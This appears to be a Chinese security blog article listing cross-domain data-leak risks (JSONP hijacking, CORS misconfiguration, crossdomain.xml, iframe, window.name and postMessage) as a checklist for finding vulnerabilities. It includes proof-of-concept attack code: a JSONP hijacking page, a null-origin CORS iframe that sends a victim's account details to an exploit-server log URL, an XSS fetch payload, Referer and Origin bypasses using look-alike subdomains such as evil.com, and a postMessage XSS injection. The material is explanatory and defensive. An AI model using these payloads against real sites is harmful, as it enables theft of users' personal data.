#安全干货 13个

某日，小张收到了一条朋友发来的某大型购物网站的购买链接：

“9.9低价抢购整箱黄桃罐头”

小张立即兴奋地点进链接准备大薅羊毛——然而，这条购买链接其实是伪装成正规购物网站网址的钓鱼网站。随后，攻击者在钓鱼网站上利用了该购物网站跨域传输数据时存在的漏洞，窃取了小张的个人信息，小张的姓名、手机号、家庭住址、身份证号等信息都被泄漏了。

类似小张这样用户敏感数据被攻击者窃取的情况，是企业在跨域场景中常会遇到的数据风险，攻击者们会对企业跨域中存在的漏洞加以利用，窃取大量用户敏感数据。

什么是跨域？

在浏览器的安全机制中，同源策略是浏览器最核心也是最基本的安全功能，它限制了一个源中加载文本或者脚本与其他源中资源的交互方式：当浏览器执行一个脚本时，会检查域名是否同源，只有同源域名的脚本才会执行；当浏览器执行非同源域名的脚本时，即为跨域。

（源（Origin）：由 protocol、port 和 host 定义。如果两个 URL 的 protocol、port (如果有指定的话) 和 host 都相同的话，则这两个 URL 是同源的。）

什么情况下需要用到跨域？

在实际开发过程中，当不同网站域名之间需要交互流通，方便多个域名间互相授权使用API，避免重复调用资源时，开发者们就需要用到跨域技术实现资源共享。然而，跨域资源的流通也增大了数据的风险暴露面，很可能因为一些跨域方式存在的逻辑漏洞造成企业敏感数据的泄漏。

跨域中存在的安全隐患有哪些？

在这里，猎人君整理了一份跨域数据安全风险检查清单，梳理了4种不同跨域技术方式所存在数据安全隐患，便于大家进行漏洞检查，建设跨域中的数据安全。

按照不同跨域技术方式划分：

Jsonp

Jsonp是指通过标签来实现跨域，如果返回Json格式数据的接口（尤其是包含敏感数据的）没有做好防御措施，容易存在Jsonp劫持的漏洞，从而导致用户的敏感数据被窃取。Jsonp技术主要存在的安全问题如下：

1.显性Jsonp劫持

如下案例所示，获取手机号的API使用了Jsonp跨域技术。但这里没有任何防御措施，攻击者可如下构造代码，使用script请求该API来窃取用户的手机号。

<html>
        <body>
                <script>
                        function jsonp(json) {
                                alert(JSON.stringify(json));
                        }
                </script>
                <script src="http://0.0.0.0:88/getphone?callback=jsonp"></script>
        </body>
</html>

只要受害者访问攻击者构造的页面，攻击者就能利用Jsonp劫持到受害者的手机号。

2.隐性Jsonp劫持

表面看上去返回的是Json格式的接口，也可能存在Jsonp劫持。后端程序员在开发时，可能将Json和Jsonp两种格式都开发好了，攻击者可对返回Json格式的接口探测Jsonp常用的参数（callback、cb、cbk、jsonp、jsonpcb等），实现Jsonp劫持。

如下案例所示，某API会返回Json格式的订单数据。

尝试手动添加上回调函数callback，发现后端返回的数据格式就变成了Jsonp，攻击者即可利用该Jsonp劫持到用户的手机号、姓名、收货地址、购买物品等。

所以即使返回是Json格式的接口，也需要注意排查是否存在Jsonp劫持漏洞。

3.绕过Referer检测以实现Jsonp劫持

后端可以通过校验Referer来避免Jsonp劫持漏洞，但如果校验得不严格，也可能被攻击者绕过。如下案例所示，正常用户请求接口时，不带上Referer网页会返回错误。

在请求中的Header带上Referer: http://xxx.com:5000 时，接口正常返回数据，说明接口对Referer是有校验的。

如果攻击者尝试绕过Referer，发现只要域名中包含xxx.com，即可绕过限制，那么只要攻击者修改Referer为 http://xxx.com.domain.com ，即可绕过Referer的限制，从而实现Jsonp劫持。

Cors

当网页需要跨源请求资源时，Cors（跨域资源共享）可以突破浏览器发出的请求只能向同源的服务器获取数据的限制。

但如果Cors配置不当，网页就很容易存在安全漏洞。如允许任意Origin访问、允许null（空）Origin访问、Origin限制被绕过、Origin范围限制过大等。

1.允许任意Origin

若一个API使用了Cors跨域技术，又允许任意Origin访问，那么攻击者将很容易通过该API窃取敏感信息。

如下案例所示，某获取账号信息的接口允许任意Origin访问时，攻击者可以伪造一个页面诱导受害者访问。受害者访问页面后，页面会发出跨域请求获取受害者的账号信息，此时攻击者就可以窃取受害者的账号信息。

2.允许Origin为null

即使一个API 没有允许任意Origin访问，但如果该API可以允许 null Origin访问，那么将很容易造成CSRF（Cross Site Request Forgery / 跨站请求伪造），泄露敏感信息。

如下案例所示，某获取账号信息的接口允许null Origin访问，那么攻击者同样也可以伪造一个页面诱导受害者访问。受害者访问页面后，页面会发出跨域请求获取受害者的账号信息，攻击者也可以窃取到受害者的账号信息。

如下方式的跨域请求，Origin会被设置为null：

请求来源的协议不是 http、https、ftp、ws、wss 或 gopher 中的任意一个（如：blob、file 和 data）。
跨源的图像或媒体，使用<img>、<video> 和 <audio> 标签跨域请求。
属于以下几种文档类型的：使用 createDocument() 创建的文档、通过data协议生成的文档
重定向跨域请求时。
使用iframe标签，并且 sandbox 属性没有设置 allow-same-origin 。
响应（response）是网络错误时。

这里使用iframe进行跨域访问。poc如下：

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
    var req = new XMLHttpRequest();
    req.onload = reqListener;
    req.open('get','0ae6000203635c70c07a89b900d900ff.web-security-academy.net/accountDetails',true);
    req.withCredentials = true;
    req.send();
    function reqListener() {
        location='exploit-0aa900fc03a95cefc0ae89ba01860038.exploit-server.net/log?key='+encodeURIComponent(this.responseText);
    };
</script>"></iframe>

3.Origin限制绕过

当一个API跨域访问时，如果Origin限制不严格，将很容易被攻击者绕过，泄露敏感信息。如下案例所示，当某获取订单信息的接口使用了CORS跨域技术：

修改Origin后，响应头中的Origin没有变化，说明服务端对Origin是有校验的。

攻击者经过测试，发现可以通过添加子域名的方式：http://www.test.com.evil.com，以绕过服务端对Origin的校验。

那么攻击者就可以通过使用evil.com域名，再添加一个子域名www.test.com.evil.com的方式绕过Origin限制。受害者访问攻击者构造的页面后，页面会发出跨域请求获取受害者的订单信息，从而让攻击者获取到受害者订单号信息。

4.Xss + Cors

开发者通常会对Origin的范围进行校验，但当Origin限制范围过大时，也可能会泄露敏感信息。例如某API限制Origin为*.test.com，且test.com任意一个子域下存在Xss（Cross Site Script / 跨站脚本攻击）漏洞时，攻击者就可以通过Xss进行跨域请求，泄露敏感信息。

如下案例所示，某获取用户信息的API设置了Cors，但是Origin存在限制，攻击者通过测试发现xxx.com下的子域都可以访问，如果此时某个子域下存在Xss漏洞，攻击者就可以通过js（JavaScript：编程语言）来进行跨域请求。

如图，search.xxx.com的输入框存在Xss漏洞，此时攻击者就可以通过输入框引入js，去跨域请求www.xxx.com/userInfo.php。poc如下：

// evil.js
fetch("http://www.xxx.com:8099/userInfo.php").then((res) => {

    return res.json();
}).then((data) => {
    console.log(data);
    alert(JSON.stringify(data));
})

Crossdomain.xml

在flash 10版本后，如果flash有跨域访问的需求，就必须在目标域的根目录下放置Crossdomain.xml文件。该文件限制了flash是否可以跨域读写数据以及允许从什么地方跨域读写数据。

但如果Crossdomain.xml配置不当，网站就很容易存在安全漏洞。如Crossdomain允许任意域、Crossdomain域名未注册等。

1.Crossdomain允许任意域

当Crossdomain.xml为如下配置时，网站会允许任意域访问：

<?xml version="1.0"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
</cross-domain-policy>

如果某个站点（b.com）的Crossdomain.xml如上述配置时，那么b.com就会存在flash跨域的安全问题。

此时攻击者就可以伪造一个页面和一个swf文件，swf文件里会去请求b.com/userInfo 来获取敏感信息。由于b.com 允许任意域的swf文件访问，所以当受害者访问伪造页面时，伪造页面中的swf文件会发起访问b.com/userInfo的请求，如果受害者刚好登录了b.com。那么浏览器就会带上b.com的cookie去请求b.com/userInfo。攻击者就可以成功窃取到受害者的用户信息。

2.Crossdomain域名未注册

当我们查看xxx.com下的Crossdomain.xml文件，发现Crossdomain.xml如下配置：

xxxtest.com的域名没有还被注册。此时攻击者就可以通过注册xxxtest.com的域名，跨域获取xxx.com下的数据。

Iframe

在开发中，为了实现功能的简单复用，开发者会把需要复用的组件写成单独的页面挂到一个域名下，其他项目采用iframe的方式去加载该页面。iframe标签可以不受同源策略限制，进行跨域。但是当网站存在Xss漏洞或者配置不当时，就很容易被窃取敏感数据。

1.document.domain跨子域

如下案例，http://www.test.com/userinfo会返回当前用户的姓名及手机号，通常来说，攻击者可以使用http://www.test.com下的Xss漏洞来访问该API，以窃取用户的敏感信息。

但这里开发者使用了document.domain，将域设置为了test.com，导致攻击面扩大到了test.com下的任意一个子域名。

因此，攻击者可以使用任意一个子域名http://*.test.com的Xss漏洞，就能访问到该API，从而窃取到用户的敏感信息。

2.window.name固定

由于window.name一旦设置完成，就是固定信息，无论iframe的src怎么变化，window.name都不会改变。如果一个页面在window.name存放了敏感数据，攻击者就可以通过iframe加载该页面获取到敏感数据。

如图案例所示，某页面在window.name中存放了敏感数据。

攻击者可通过iframe加载该页面，等待其往window.name中存放敏感数据，然后获取iframe的window.name。

因为有同源策略的限制，攻击者暂时是无法获取到的。

但攻击者可以通过iframe.contentWindow.location让iframe跳转到与iframe外同域的页面，使网页同源。

即可获取到window.name中存放的敏感数据。

3.window.postMessage伪造数据发送端

window.PostMeaage是HTML5提供的一个跨域解决方案。可以绕过同源策略，实现不同域之间的window对象通信。

但当数据接收端为如下配置时，如果开发者没有对数据来源进行校验，且也没有对接收的数据做出处理，将很容易存在安全隐患。

# 子页面  res.html
<div>
    <p id="message">
    </p>
</div>
<script>
    window.onload = function () {
        var messageEle = document.getElementById('message');
        window.addEventListener('message', function (e) {
            messageEle.innerHTML = e.data;
        });
    }
</script>

# 父页面 evil.html
<!DOCTYPE HTML>
<html>

<body>
    <iframe src="http://127.0.0.1:8081/res.html" width="500" height="60" id="receiver">
    </iframe>
    <script>
        window.onload = function () {
            var receiver = document.getElementById('receiver').contentWindow;
            // receiver.postMessage("das", "*");
            receiver.postMessage("<img src/onerror=alert('xss')>", "*");

        }
    </script>
</body>

</html>